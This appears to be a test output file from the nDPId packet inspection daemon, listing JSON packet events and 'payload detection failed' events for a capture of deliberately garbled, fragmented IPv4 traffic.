+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":347997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348065,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348256,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":348582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 